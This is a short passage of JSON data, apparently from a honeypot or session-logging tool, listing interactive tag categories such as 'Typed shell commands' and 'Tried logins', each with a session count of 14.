in","sessions":14},{"tag_id":"shell","tag_type":"interactive","label":"shell","title":"Typed shell commands","sessions":14},{"tag_id":"logins","tag_type":"interactive","label":"logins","title":"Tried logins","sessions":14}]}